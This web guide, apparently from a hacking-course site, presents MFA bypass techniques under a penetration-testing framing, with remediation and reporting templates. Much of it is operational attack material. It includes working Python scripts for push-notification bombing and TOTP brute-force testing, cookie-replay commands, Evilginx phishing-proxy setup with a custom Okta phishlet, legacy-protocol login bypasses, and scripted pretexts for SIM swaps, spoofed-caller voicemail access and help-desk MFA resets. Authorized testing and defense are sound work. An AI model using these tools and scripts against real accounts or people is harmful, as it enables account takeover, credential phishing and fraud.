top of page

Hacking 2FA / MFA Authentication (Guide)

Hacking 2FA / MFA Authentication | Black Hat HQ

Hacking 2FA / MFA Authentication


2FA bypass testing is some of the highest-value work in a pentest. When MFA is configured but bypassable, the organization has a false sense of security that's worse than no MFA at all. Let's cover every practical attack vector. Here's a guide on hacking 2FA / MFA authentication.


The 2FA Attack Surface


MFA isn't one thing. It's a chain of components, and the chain breaks at the weakest link:


[User] → [Login Form] → [MFA Prompt] → [Session Token] → [Application]
  ↑          ↑               ↑               ↑               ↑
Phishing   Brute force    Push bombing    Token theft    Direct object
                           Bypass logic    Cookie replay   reference

Every arrow is an attack surface. You're testing them all.


Attack 1: MFA Fatigue / Push Bombing


When push notifications are the MFA method, you can overwhelm the user into accepting.


How It Works


  1. Obtain valid credentials (phishing, breach, password spray)

  2. Trigger repeated push notifications to the target's device

  3. User eventually accepts — either by accident, to stop the noise, or thinking it's a system glitch


Testing Methodology


python

#!/usr/bin/env python3
"""
MFA Push Fatigue Testing Script
Authorized pentesting — tests push notification acceptance thresholds
"""
import requests
import time
import sys

TARGET_URL = "https://target.corp.com/login"
USERNAME = "jsmith@corp.com"
PASSWORD = "Summer2024!"  # Known valid password
PUSH_INTERVAL = 60  # Seconds between push attempts
MAX_ATTEMPTS = 20   # Stop after this many

session = requests.Session()

def do_login():
    """Perform initial login to trigger MFA push"""
    resp = session.post(
        f"{TARGET_URL}/api/auth",
        json={"username": USERNAME, "password": PASSWORD}
    )
    return resp

def trigger_mfa():
    """Re-send MFA push (endpoint varies by platform)"""
    # Azure AD / Microsoft 365:
    # POST to /common/login with same session cookie
    # Duo:
    # POST to /frame/web/v1/auth with device_token
    
    resp = session.post(
        f"{TARGET_URL}/api/mfa/challenge",
        json={"method": "push"}
    )
    return resp

def check_mfa_status():
    """Poll whether MFA has been accepted"""
    resp = session.get(f"{TARGET_URL}/api/mfa/status")
    return resp.json().get("authenticated", False)

def main():
    print(f"[*] Starting MFA fatigue test against {USERNAME}")
    print(f"[*] Push interval: {PUSH_INTERVAL}s, Max: {MAX_ATTEMPTS} attempts")
    print(f"[*] Estimated max duration: {MAX_ATTEMPTS * PUSH_INTERVAL / 60:.1f} min\n")
    
    # Initial login
    login_resp = do_login()
    if login_resp.status_code != 200:
        print(f"[-] Login failed: {login_resp.status_code}")
        return
    
    print("[+] Login successful — MFA push triggered")
    
    for attempt in range(1, MAX_ATTEMPTS + 1):
        print(f"[{attempt}/{MAX_ATTEMPTS}] Sending push notification...")
        
        trigger_mfa()
        time.sleep(5)  # Brief wait for push delivery
        
        if check_mfa_status():
            print(f"\n[+] MFA ACCEPTED after {attempt} pushes!")
            print(f"[+] Session token: {session.cookies.get('token')}")
            return
        
        print(f"    Push #{attempt} not accepted. Waiting {PUSH_INTERVAL}s...")
        time.sleep(PUSH_INTERVAL - 5)
    
    print(f"\n[-] MFA not accepted after {MAX_ATTEMPTS} attempts")
    print("[*] Finding: Push fatigue resistance confirmed OR user absent")

if __name__ == "__main__":
    main()

What To Document


markdown

## Finding: MFA Push Notification Fatigue

**Test Parameters**:
- Attempts sent: [X]
- Time elapsed: [Y] minutes
- User response: [Accepted on attempt #Z / Not accepted]

**Finding (if accepted)**:
The target accepted the MFA push notification after [Z] repeated 
requests without actively initiating a login. The push notification 
displayed no contextual information (location, IP, request reason) 
that would allow the user to distinguish a legitimate request from 
an attacker's.

**Impact**: An attacker with stolen credentials can bypass MFA through
push notification fatigue, gaining access to corporate resources.

**CVSS**: 7.5 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)

**Remediation**:
1. Enable number matching (user must type a 2-digit code from the
   login screen into the authenticator)
2. Display context in push: requesting IP, geolocation, application
3. Rate-limit push notifications (5 per user per minute max)
4. Progressive lockout — after 3 denied pushes, block for 15 minutes

Attack 2: Session Token / Cookie Theft


If MFA protects login but the resulting session token isn't bound to anything, stealing the token bypasses MFA entirely.


Cookie Replay Attack


bash

# 1. Obtain session cookies (via infostealer log, XSS, or network sniffing)
# Typical cookies of interest:
# - .AspNet.ApplicationCookie (ASP.NET)
# - session, connect.sid (Express/Node)
# - JSESSIONID (Java)
# - PHPSESSID (PHP)
# - __Host-session, __Secure-session (Django/Flask)

# 2. Import the cookie into your browser
# Chrome DevTools → Application → Cookies → paste values

# 3. Navigate to the application — you're authenticated
# MFA never triggers because the session is already established

# 4. For programmatic replay:
curl -s "https://target.corp.com/dashboard" \
  -H "Cookie: session=eyJhbGciOiJIUzI1NiIs..." \
  -H "Cookie: .AspNet.ApplicationCookie=KJDHF8732HD..."

Testing for Session Binding


The pentest question: "Does this session token work from a different IP? Different browser? Different device?"


python

#!/usr/bin/env python3
"""
Session portability test — does the session token work from elsewhere?
"""
import requests

def test_session_portability(session_cookie, target_url):
    """Test if a session cookie works from multiple source IPs"""
    
    # Test 1: Same session from different IP (via proxy/VPN)
    proxies = {"https": "socks5://127.0.0.1:9050"}  # Tor
    
    resp_normal = requests.get(target_url, headers={"Cookie": session_cookie})
    resp_tor = requests.get(target_url, headers={"Cookie": session_cookie}, proxies=proxies)
    resp_vpn = requests.get(target_url, headers={"Cookie": session_cookie}, proxies={"https": "http://vpn-gateway:8080"})
    
    findings = []
    
    if resp_normal.status_code == 200 and "dashboard" in resp_normal.text.lower():
        findings.append("Session valid from original IP")
    
    if resp_tor.status_code == 200 and "dashboard" in resp_tor.text.lower():
        findings.append("CRITICAL: Session valid from Tor exit node — no IP binding")
    
    if resp_vpn.status_code == 200 and "dashboard" in resp_vpn.text.lower():
        findings.append("CRITICAL: Session portable across IPs — no geolocation check")
    
    return findings

# Test 2: Does MFA re-prompt for sensitive actions?
def test_step_up_auth(session_cookie, target_url):
    """Test if MFA is required for sensitive operations"""
    
    sensitive_actions = [
        ("Change Password", "/account/password/change", "POST"),
        ("Add MFA Device", "/account/mfa/add", "POST"),
        ("API Key Generation", "/account/api-keys/create", "POST"),
        ("Disable MFA", "/account/mfa/disable", "POST"),
        ("Wire Transfer", "/banking/transfer", "POST"),
    ]
    
    findings = []
    for name, path, method in sensitive_actions:
        if method == "POST":
            resp = requests.post(f"{target_url}{path}", 
                               headers={"Cookie": session_cookie})
        else:
            resp = requests.get(f"{target_url}{path}", 
                              headers={"Cookie": session_cookie})
        
        # Check if MFA challenge was triggered
        if "mfa" not in resp.url.lower() and "verify" not in resp.url.lower():
            if resp.status_code == 200:
                findings.append(f"NO STEP-UP MFA: {name} accessible without re-auth")
    
    return findings

What to Document


markdown

## Finding: MFA Session Token Not IP-Bound

**Test**: Authenticated session cookie was replayed from a Tor exit
node (different continent) and successfully accessed the application
without MFA re-prompt.

**Impact**:
- Session cookies stolen via XSS, infostealer malware, or network 
  interception grant persistent access without MFA
- Token remains valid across network changes, browser changes, 
  and geographic locations
- No step-up authentication for sensitive actions (password change,
  MFA disable, API key creation)

**CVSS**: 8.8 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N)

**Remediation**:
1. Bind sessions to IP address/ASN (with grace for mobile IP changes)
2. Bind sessions to browser fingerprint
3. Implement step-up MFA for sensitive actions
4. Reduce session lifetime (4 hours max for sensitive apps)
5. Detect and invalidate sessions on anomalous geolocation jumps

Attack 3: Phishing Proxy / Adversary-in-the-Middle (AiTM)


This is the gold standard MFA bypass. Tools like Evilginx intercept the entire login flow, including the MFA token.


How It Works


User → [Evilginx Phishing Page] → [Real Microsoft Login] → [Real MFA Prompt]
                                          ↓
                              Evilginx captures session cookie
                              after MFA completes

User sees: normal login, normal MFA, normal dashboard
Attacker gets: authenticated session cookie (bypasses MFA permanently)

Evilginx 3 Setup


bash

# Evilginx 3 — currently maintained, updated for modern MFA
git clone https://github.com/kgretzky/evilginx2  # Despite name, it's v3
cd evilginx2
make

# Start
sudo ./bin/evilginx -p ./phishlets/

# Configure phishlet for target (e.g., Microsoft 365)
config domain phishing-domain.com
config ip 10.0.0.100

# Use a phishlet — pre-built templates for common services
phishlets hostname o365 phishing-domain.com
phishlets enable o365

# Create the lure URL
lures create o365
lures get-url 0
# → https://login.microsoftonline.com.phishing-domain.com/xxxxx

# Set up redirect (user lands here after successful auth)
lures edit 0 redirect_url https://target.corp.com

# Now when the user visits the lure URL:
# 1. Evilginx proxies the real Microsoft login page
# 2. User enters email + password
# 3. Evilginx proxies the MFA prompt
# 4. User completes MFA (approves push, enters TOTP)
# 5. Evilginx captures the post-MFA session cookie
# 6. User is redirected to target.corp.com (they see nothing suspicious)
# 7. Attacker uses the captured session cookie → full access

# View captured sessions:
sessions
# Shows: username, password, session cookie, MFA token type

Custom Phishlet for Corporate SSO


If the target uses Okta, Duo, PingFederate, or a custom SAML/OIDC provider:


javascript

// Custom phishlet template — Okta example
{
  "name": "okta-corp",
  "author": "Pentest Team",
  "target": {
    "login_url": "https://corp.okta.com/login/login.htm",
    "domain": "corp.okta.com"
  },
  "sub_filters": [
    {
      "triggers_on": "corp.okta.com",
      "origins": ["corp.okta.com", "login.okta.com"],
      "search": "corp.okta.com",
      "replace": "corp.okta.com.phishing-domain.com"
    }
  ],
  "params": {
    "session": [
      { "name": "sid", "method": "cookie" },
      { "name": "DT", "method": "cookie" },
      { "name": "JSESSIONID", "method": "cookie" }
    ],
    "credentials": [
      { "name": "username", "method": "post", "key": "username" },
      { "name": "password", "method": "post", "key": "password" }
    ]
  }
}

AiTM Detection Testing


Phishing proxies add latency and modify SSL certificates. Test whether the target organization's users or endpoint protection would detect your proxy:


bash

# Indicators that a phishing proxy is in use:
# 1. TLS certificate — proxy's cert, not Microsoft's
# 2. Latency — extra hop adds 50-200ms
# 3. Header inspection — proxy leaves artifacts
# 4. URL mismatch — phishing-domain.com vs microsoftonline.com

# Test: does the endpoint security solution flag these?
# Document whether EDR/email security caught the phishing email

Attack 4: SMS/Voice MFA Interception


SIM Swapping


SMS-based MFA is vulnerable to SIM swap attacks. Test whether the organization relies on SMS MFA for critical systems:


bash

# The SIM swap test (SOCIAL ENGINEERING — document in ROE):

# 1. Gather target's personal info (from OSINT, data leaks)
#    - Full name, DOB, address, last 4 SSN
#    - Phone number, carrier

# 2. Call carrier, attempt to "recover" the SIM to your device
#    "Hi, I dropped my phone in the pool. Can you activate 
#     my number on this new SIM? IMEI is XXXX..."

# 3. If successful: all SMS MFA codes now come to your device
#    Bypass MFA on everything: email, banking, corporate VPN

# 4. Document the carrier's authentication process:
#    - What verification was required?
#    - Was a port-out PIN required?
#    - How long did the call take?
#    - Was there a cooldown period before the SIM activated?

# FINDING if successful:
# Carrier authentication insufficient — SIM swap achieved with
# [X] pieces of publicly available information.
# All SMS-based MFA is now compromised.

SS7/Signaling Attacks


For telecom-level assessments (requires specialized carrier access):


bash

# Not practical for most pentests — requires:
# - Access to SS7 signaling network
# - Or relationship with an SMS gateway provider
# - Or a compromised mobile network operator

# Document as theoretical threat vector:
# "SMS MFA is vulnerable to SS7 interception attacks."

Voicemail PIN Bypass


If MFA offers a "call me" option where a code is read over the phone:


bash

# 1. Test if the target's voicemail has a default PIN
#    Common carrier defaults: last 4 of phone number, 0000, 1234
# 2. Call from a spoofed number (the target's own number)
#    Many carriers skip PIN verification for calls from the same number
# 3. Access voicemail, retrieve MFA code

Attack 5: TOTP Seed Extraction


Time-Based One-Time Passwords are secure only if the shared secret is protected.


From Authenticator App Backup


bash

# Many users back up authenticator databases to cloud:
# Google Authenticator: QR code export → screenshot saved to Google Photos
# Authy: cloud backup enabled by default
# Microsoft Authenticator: backs up to iCloud/Google account

# If the target's cloud account is compromised:
# 1. Restore authenticator backup to attacker device
# 2. Generate valid TOTP codes for all accounts
# 3. No notification sent to user

From QR Code Enumeration


During legitimate MFA setup, the QR code is often accessible after initial setup:


bash

# 1. Register a new MFA device (requires valid session)
# 2. Intercept the QR code URL in the response:
#    data:image/png;base64,iVBORw0KGgoAAAANSUh...
#    or
#    otpauth://totp/Corp:user@domain.com?secret=JBSWY3DPEHPK3PXP...

# 3. Decode the QR or extract the secret parameter
# 4. The TOTP secret is now known — you can generate valid codes forever

# Test: Does the application reveal the QR/secret again on 
# "I lost my authenticator" flow? This is a finding.

TOTP Brute Force (Rate Limit Testing)


python

#!/usr/bin/env python3
"""
TOTP brute force — tests rate limiting on MFA code entry.
The codespace is only 1,000,000 (6 digits). Rate limiting is the ONLY defense.
"""
import requests
import time

def test_totp_rate_limiting(target_url, session_cookie, max_attempts=50):
    """Test if TOTP verification has rate limiting"""
    
    session = requests.Session()
    session.headers.update({"Cookie": session_cookie})
    
    blocked = False
    successful_attempts = 0
    
    for attempt in range(1, max_attempts + 1):
        # Try a guaranteed-wrong code
        code = f"{attempt:06d}"[-6:]
        
        resp = session.post(
            f"{target_url}/api/mfa/verify",
            json={"code": code, "method": "totp"}
        )
        
        if resp.status_code == 429:
            print(f"  Blocked at attempt {attempt} (rate limiting active)")
            blocked = True
            break
        
        if resp.status_code == 200 and "authenticated" in resp.text.lower():
            print(f"  [!] UNEXPECTED SUCCESS on attempt {attempt}")
            successful_attempts += 1
        
        if "locked" in resp.text.lower() or "too many" in resp.text.lower():
            print(f"  Account locked at attempt {attempt}")
            blocked = True
            break
        
        time.sleep(0.1)  # Fast-fire to test limits
    
    findings = []
    if not blocked and max_attempts >= 30:
        findings.append(
            "CRITICAL: TOTP accepts unlimited incorrect attempts — "
            "brute force of 6-digit code feasible within hours"
        )
    
    if successful_attempts > 0:
        findings.append("TOTP validation logic appears broken")
    
    return findings

Attack 6: MFA Bypass via Direct Navigation


Many applications apply MFA only to the login page, not to internal pages.


Direct URL Access


bash

# After a partially-completed login (username + password submitted,
# MFA prompt displayed):
# Try accessing internal URLs directly:

curl -s "https://target.corp.com/dashboard" \
  -H "Cookie: [session cookie from post-login-pre-MFA]"

curl -s "https://target.corp.com/api/user/profile" \
  -H "Cookie: [session cookie from post-login-pre-MFA]"

curl -s "https://target.corp.com/admin" \
  -H "Cookie: [session cookie from post-login-pre-MFA]"

# If ANY of these return the authenticated page instead of 
# redirecting to MFA, you have a finding.

API Bypass


bash

# Mobile apps often skip MFA via API key or bearer token
# After initial login (before MFA), test API endpoints:

curl -s "https://api.corp.com/v1/user/data" \
  -H "Authorization: Bearer [pre-MFA token]"

# Check if a pre-MFA token grants API access
# Common pattern: web app enforces MFA, mobile API does not

SSO Token Forging


bash

# If the application trusts SSO tokens:
# Test whether a pre-MFA SAML assertion is accepted
# Test whether a different application's valid token grants access
# (token-reuse across apps in same SSO federation)

Attack 8: Race Conditions and Logic Bugs


The "I lost my phone" flow is often the weakest link.


Backup Code Discovery


bash

# Backup codes are typically:
# - Generated at MFA setup time
# - Downloaded or printed as a text file
# - Stored in: Downloads folder, Desktop, email inbox,
#   printed in desk drawer, saved to password manager

# Test:
# 1. Does the target store backup codes in a discoverable location?
#    (check for "backup-codes.txt", "recovery-keys.txt" in common locations)
# 2. Does the MFA system allow unlimited backup code attempts?
#    Backup codes are 8-10 characters — if rate-limited, fine.
#    If not, brute-force is possible.

Social Engineering the Help Desk


bash

# The MFA reset flow test:
# 1. Call IT help desk: "Hi, new phone. Need MFA reset for VPN access."
# 2. Document what verification they require:
#    - "What's your employee ID?" (printed on badge, visible in photos)
#    - "What's your manager's name?" (public on LinkedIn)
#    - "What's your date of birth?" (breach data, social media)
#    - "I'll send a code to your email" (if email isn't MFA-protected)

# If help desk resets MFA with weak verification:
# The entire MFA protection collapses back to password-level security

Email-Based MFA Reset


bash

# If MFA recovery sends codes to email:
# Is the email account itself MFA-protected?
# If not: compromise email → reset MFA → bypass MFA on all linked accounts
# This is the classic "MFA is only as strong as the recovery method"

Attack 9: Misconfigured MFA Enforcement


Conditional Access Gaps


bash

# Azure AD / Microsoft 365 specific:
# Test MFA bypass via legacy protocols:

# POP3/IMAP (often excluded from MFA):
curl -v "pop3s://outlook.office365.com" -u "user@corp.com:password"

# SMTP auth (often excluded):
swaks --to target@corp.com --from user@corp.com \
  --server smtp.office365.com --port 587 --tls \
  --auth LOGIN --auth-user user@corp.com --auth-password "password"

# ActiveSync (EAS) — often excluded:
# Test via mobile device or activesync endpoint

# PowerSHELL / Exchange Online PS (basic auth):
Connect-ExchangeOnline -UserPrincipalName user@corp.com -Password (ConvertTo-SecureString "password" -AsPlainText -Force)

# If ANY of these work with just password (no MFA):
# Finding: MFA bypass via legacy protocol

Trusted Location Bypass


bash

# Many orgs disable MFA for "trusted" office IPs:
# Test from: 
# - The office wireless network (if you gained access via physical/guest)
# - A VPN connection (if one endpoint doesn't require MFA)
# - After compromising an office machine (pivot through internal network)

# Test from office IP:
curl -s "https://target.corp.com/login" \
  --interface [office-network-interface]

# If MFA is skipped: you've bypassed MFA by being on the trusted network.
# This becomes critical if you can gain ANY foothold on the internal network.

Penetration Testing Methodology


PHASE 1: RECONNAISSANCE
├── Identify MFA solution (Duo, Okta, Azure MFA, custom)
├── Identify MFA methods in use (push, TOTP, SMS, FIDO2, voice)
├── Enumerate login flow (redirects, cookies, API calls)
├── Check for legacy protocol endpoints
├── Test whether pre-MFA session is partially valid
└── Map recovery/reset flow (help desk, backup codes, email fallback)

PHASE 2: CONFIGURATION TESTING
├── Direct URL access with pre-MFA session
├── API access with pre-MFA token
├── Legacy protocol bypass (POP3, IMAP, SMTP, ActiveSync)
├── Trusted location bypass (from internal network)
├── Mobile app API vs web app MFA enforcement gap
└── Rate limiting on MFA code entry

PHASE 3: CREDENTIAL + MFA ATTACK
├── Push notification fatigue (if push MFA)
├── AiTM phishing proxy (Evilginx with custom phishlet)
├── TOTP seed exposure (QR code re-display, backup restore)
├── SMS interception (SIM swap feasibility)
├── Voicemail MFA code theft
└── Backup code brute force (if no rate limit)

PHASE 4: POST-MFA SESSION ATTACKS
├── Session cookie portability (different IP, browser, device)
├── Session lifetime (how long until re-auth?)
├── Step-up MFA for sensitive actions (password change, MFA disable)
├── Concurrent session limits
└── Session invalidation on logout

PHASE 5: RECOVERY FLOW TESTING
├── Help desk social engineering (what verification required?)
├── Email account MFA dependency (is recovery email MFA-protected?)
├── Backup code discovery (where stored? accessible?)
├── New device enrollment (can you add your own MFA device?)
└── MFA reset via compromised email (chain analysis)

Quick Reference: MFA Technology-Specific Tests


Technology

Primary Attack

Secondary Attack

Push notification

Fatigue / bombing

Phishing proxy (push + approval)

TOTP (Google Auth style)

Phishing proxy (real-time relay)

QR code seed theft, rate limit brute force

SMS code

SIM swap

SS7 intercept, voicemail PIN bypass

Voice call

Voicemail access

SIM swap, call forwarding

FIDO2 / WebAuthn

Token physical theft

Phishing proxy (non-phishable if properly implemented)

Hardware token (YubiKey)

Physical theft

None if properly implemented

Email code

Email account compromise

Email account MFA status

Biometric (platform)

Device compromise

Platform authenticator bypass

Magic link (email)

Email compromise

None if properly implemented

Backup codes

Discovery (stored locally)

Brute force (if not rate-limited)


Reporting Template


markdown

## Finding: MFA Bypass via [Method]

**MFA Solution**: [Duo / Okta / Azure MFA / Custom]
**MFA Method**: [Push / TOTP / SMS / etc.]
**Attack Vector**: [Description of the specific bypass]

### Technical Details
[Step-by-step reproduction]

### Root Cause
[Why the bypass worked — missing rate limit, no session binding,
legacy protocol enabled, no step-up auth, etc.]

### Impact
An attacker with [stolen credentials / phishing success / SIM swap / etc.]
can bypass multi-factor authentication because [specific reason].

### Evidence
[Session cookie that remained valid, successful API call, accepted
push notification, screenshot of pre-MFA dashboard access, etc.]

### CVSS: [Score]
AV:[N/A/P] / AC:[L/M/H] / PR:[N/L/H] / UI:[N/R] / S:[U/C] / C:[H/M/L/N] / I:[H/M/L/N] / A:[H/M/L/N]

### Remediation
1. [Specific technical fix]
2. [Configuration change]
3. [Policy/procedure change]
4. [Detection rule for SOC — how to identify this attack]

Enroll In Online Cybersecurity & Hacking Classes/Courses | Black Hat HQ

Comments


bottom of page